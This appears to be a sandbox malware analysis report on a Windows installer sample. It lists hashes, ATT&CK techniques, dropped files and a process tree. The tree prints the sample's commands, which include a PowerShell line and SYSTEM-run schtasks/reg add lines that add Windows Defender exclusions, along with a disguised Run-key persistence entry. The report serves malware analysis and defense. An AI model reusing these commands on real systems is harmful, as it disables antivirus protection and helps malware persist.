c8c4759bd34f88fcb497ab4cb22b0dcb3d220a8c033b1f123c772dd737798556

Analysis

max time kernel
147s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 14:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.06.exe
Size 30.5MB
Sample261024-rb57sab19k
SHA256 c8c4759bd34f88fcb497ab4cb22b0dcb3d220a8c033b1f123c772dd737798556
MD5 dd3e63c4f15dc5ec57c88960f41dc18c
SHA1 aa9806354bda58e4c4dcc7e7778d6d7ec0daab0f
SHA512 0d776ef5bdb14695920e18277aca82e8ebba25d46258727c1288d0abe4c8005a9c43b5baf6134cc7824b8ee4a98e91c0879683c40ab39825ae437547745954e0
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYO:YC/p+HuPOc43
TLSH
T15E67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\CvqObI = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3180	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1080	honHwM.exe
6060	honHwM.exe

Loads dropped DLL 2 IoCs

pid	Process
1080	honHwM.exe
6060	honHwM.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\CvqObI\\honHwM.exe\""	honHwM.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1916	cmd.exe
5248	cmd.exe
1544	cmd.exe
1292	cmd.exe
4852	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	honHwM.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\spSX8Q	honHwM.exe
File created	C:\Program Files (x86)\spSX8Q\spSX8Q.exe	honHwM.exe
File created	C:\Program Files (x86)\spSX8Q\image.png	honHwM.exe
File created	C:\Program Files (x86)\spSX8Q\thumbs.db	honHwM.exe
File opened for modification	C:\Program Files (x86)\spSX8Q\XPSPLOG.dll	honHwM.exe
File created	C:\Program Files (x86)\spSX8Q\XPSPLOG.dll	honHwM.exe
File opened for modification	C:\Program Files (x86)\spSX8Q\spSX8Q.exe	honHwM.exe
File opened for modification	C:\Program Files (x86)\spSX8Q\image.png	honHwM.exe
File opened for modification	C:\Program Files (x86)\spSX8Q\thumbs.db	honHwM.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2896	cmd.exe
3804	cmd.exe
4720	cmd.exe
4632	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	honHwM.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	honHwM.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6108	schtasks.exe
4480	schtasks.exe
1240	schtasks.exe
1528	schtasks.exe
1660	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
2064	install.2.0.06.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe
1080	honHwM.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found
832	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeIncreaseQuotaPrivilege	3180	powershell.exe
Token: SeSecurityPrivilege	3180	powershell.exe
Token: SeTakeOwnershipPrivilege	3180	powershell.exe
Token: SeLoadDriverPrivilege	3180	powershell.exe
Token: SeSystemProfilePrivilege	3180	powershell.exe
Token: SeSystemtimePrivilege	3180	powershell.exe
Token: SeProfSingleProcessPrivilege	3180	powershell.exe
Token: SeIncBasePriorityPrivilege	3180	powershell.exe
Token: SeCreatePagefilePrivilege	3180	powershell.exe
Token: SeBackupPrivilege	3180	powershell.exe
Token: SeRestorePrivilege	3180	powershell.exe
Token: SeShutdownPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeSystemEnvironmentPrivilege	3180	powershell.exe
Token: SeRemoteShutdownPrivilege	3180	powershell.exe
Token: SeUndockPrivilege	3180	powershell.exe
Token: SeManageVolumePrivilege	3180	powershell.exe
Token: 33	3180	powershell.exe
Token: 34	3180	powershell.exe
Token: 35	3180	powershell.exe
Token: 36	3180	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 3180	1080	honHwM.exe	91
PID 1080 wrote to memory of 1916	1080	honHwM.exe	93
PID 1916 wrote to memory of 1660	1916	cmd.exe	95
PID 1916 wrote to memory of 3780	1916	cmd.exe	96
PID 1916 wrote to memory of 2400	1916	cmd.exe	98
PID 1080 wrote to memory of 5248	1080	honHwM.exe	101
PID 5248 wrote to memory of 6108	5248	cmd.exe	105
PID 5248 wrote to memory of 776	5248	cmd.exe	106
PID 5248 wrote to memory of 2140	5248	cmd.exe	108
PID 1080 wrote to memory of 1544	1080	honHwM.exe	109
PID 1080 wrote to memory of 1292	1080	honHwM.exe	111
PID 1544 wrote to memory of 4480	1544	cmd.exe	113
PID 1292 wrote to memory of 1240	1292	cmd.exe	114
PID 1080 wrote to memory of 4852	1080	honHwM.exe	117
PID 1544 wrote to memory of 980	1544	cmd.exe	119
PID 1544 wrote to memory of 5716	1544	cmd.exe	123
PID 4852 wrote to memory of 1528	4852	cmd.exe	121
PID 1292 wrote to memory of 5204	1292	cmd.exe	122
PID 4852 wrote to memory of 4772	4852	cmd.exe	125
PID 1292 wrote to memory of 4608	1292	cmd.exe	126
PID 4852 wrote to memory of 5568	4852	cmd.exe	127
PID 3804 wrote to memory of 2912	3804	cmd.exe	130
PID 4632 wrote to memory of 4668	4632	cmd.exe	131
PID 4720 wrote to memory of 4684	4720	cmd.exe	132
PID 2896 wrote to memory of 4496	2896	cmd.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2064

C:\Users\Public\CvqObI\honHwM.exe
"C:\Users\Public\CvqObI\honHwM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CvqObI\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CvqObI\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5568
- C:\Program Files (x86)\spSX8Q\spSX8Q.exe
  "C:\Program Files (x86)\spSX8Q\spSX8Q.exe"
  2⤵
  PID:1556

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CvqObI" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CvqObI" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4496

C:\Users\Public\CvqObI\honHwM.exe
"C:\Users\Public\CvqObI\honHwM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6060

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2584

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2912

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4684

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4668

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\spSX8Q\XPSPLOG.dll
Size 4.6MB
SHA256 418301818fa0100f0780467a4df838b6dbe7aca19848b2237a598536af270330
MD5 4ecbb90c7b4526918acb4d2484a740d0
SHA1 0d8ac9d289579a6cc6d6d07da42bba18ee7d2175
SHA512 c4a3e678c73294e245aa7d89064bfa2b4a28f8d898dea1e1c3647bab07666d25d4f9c2e0bb8a67bf0022282cc1f30fc08f336b3018e33aeca94177c26eee2d71
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy5:BMWKfU+BcUTHCCCfqCiUffn5
TLSH
T193263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\spSX8Q\image.png
Size 4.8MB
SHA256 7f0bd654346ee77da0e969af3442c95b53b902fa7429236a74799008eabca993
MD5 e5a9605609790adc76c074a0d0030f60
SHA1 7783c65feacb85c0b65a452c4f8f4c76d7eb1b1d
SHA512 f5299d5eefb0590b04416d4d840e8972a4b0c40e83ded5b64dd8977ba0ad09bbe72237a5fe9ef732300929a4a0967a4c630d60561267a4adb560bfb924d2edae
SSDEEP 98304:K/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:KMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1FF36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spSX8Q.exe

Path C:\Program Files (x86)\spSX8Q\spSX8Q.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\spSX8Q\thumbs.db
Size 358KB
SHA256 ac6093fa1dd5653ec56081763fe3f589d8cdb70f947e25d47beef56a2eda5f8d
MD5 e9e68a7499ef79cf7e1681c70c5086ca
SHA1 f29839699cf6aa813e831b9902d4fd30bae1dab8
SHA512 e878ecd75f3a12f4f69a3891c418114b76d6b2075b47edb80e4a6c5866a645b2063ad3e420daf6942cb82adece41391a67f17e597ee8af13158ee8182dd32818
SSDEEP 6144:7iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:+8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1BB74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 1a1951a1b08d8df866cfd7d12096ab2bc6416d153ed6635909c2739b2bae8edf
MD5 3b2950da07e5e460b9c252c74b0ed086
SHA1 3be5d35005e918e9e6dc21a3ae98255329b9fafd
SHA512 dc6b07f8865221e192631287fd5a0f19f7ca3f92183ca316c76c0adbafa3a891fa371f81aa2a624f5cdedbe9c2f2144e3e9d56123ef4ca486e5c6bce64fd3173
TLSH
T1A33177BB2B7D79C69B3A4D4525CDF2226DF9D0805D85049A2128C8E45E843F32F5A60E
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
MD5 16b768681a89a0a2da1365ff7d2f3d0a
SHA1 6e995c36f45c228538e70da8c8476a724c3bd328
SHA512 c1e1f4a2edc2e35fd119e93e517d7a89388440e5af067dbca3ac6a19c87a86976ea80b94051aa7a04cee50cc46c680a383858b0869b72a11e3e6bd5d5dfd6865
TLSH
T1F031F8A39E795053EB0C2FA966D1C6373CF0B674ADE44845763EC2AF8605B77AF85008
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 256c1d7a64f3939954aac9232bcff541d91e5b59677c720d4b3938952a11e0ce
MD5 aa3387057785646a1b99448e317ce6c3
SHA1 94cbf49ae5398fd0c036a1b3715322c8fc44892d
SHA512 2d239c2342da916b3b1fce57eb4076c540c88df5d3c0be23d443df7660a322de73fee8093c6a801937db73cd30c985204e61e8e9b5b6dd9e28aa881f40f1c36d
TLSH
T112F0970869B8A23CF1B2C93D4AE83DA647BBF6061003599C0BF14B0860225967C125BE
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 826c6ead360064a536eca1ac8a90f18a50aa86e82a8cedaa6ff690817502e7e5
MD5 116bf644f151773a5fbcffa4e0f4de6f
SHA1 299981a070bba1a669547429aa387f16b82c1a76
SHA512 5489b57e7ec415726972f1e15a6b491b9ff330a781e4e9e0b50221b76e6726e5d072eddb92c4369f5887492f44db274d203c3e9e717239d13faf32341bf41b3c
TLSH
T1B4F05C3D56EE001BF17BC1B8CBD27DB39F76EA632006727B09E907845E92D416C813A9
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dg3nxpqw.2tq.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dg3nxpqw.2tq.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\CvqObI\UxEnhance64.dll
Size 3.1MB
SHA256 bad1df2d2eb8b7d08dc25ede90c03563dc28a485e6314c6e353b9eea81225394
MD5 7c3395b538a333ff5c807cad3a812412
SHA1 34719217506a3e0383e5b784d70dda7a33f95ac6
SHA512 c2ae1b21c886448bd3e3b38458c4fdd91f65d6ab5a6c78ee20e2ab8d550aab159d0f9b10a56b790c4d409ddbdfda48f8c299a1865949510465f339eff79cee78
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+k:P9m29xx3Tiqt06ox6+z2rNNrKok
TLSH
T134E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\CvqObI\adoresd.dat
Size 4.8MB
SHA256 dd68588e6465212e5ab797f6e6d19c56bb669c19b8dd3fee03c6959ed2ab57e4
MD5 d5c2341c8ba774a8de11863313821218
SHA1 df388dd2d27b6f6dcbdd30ba63c3a70855a5dcfd
SHA512 8e8a77a5f2c9eb3d0b928fd232445a956c263dbed730db6a6e47864678a8eb49f4b265b77d23bb29119d882921909e607460049f8a5f7ad5c568bcdeb23cb8dc
SSDEEP 98304:9Wjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:9Wj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1633633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

honHwM.exe

Path C:\Users\Public\CvqObI\honHwM.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
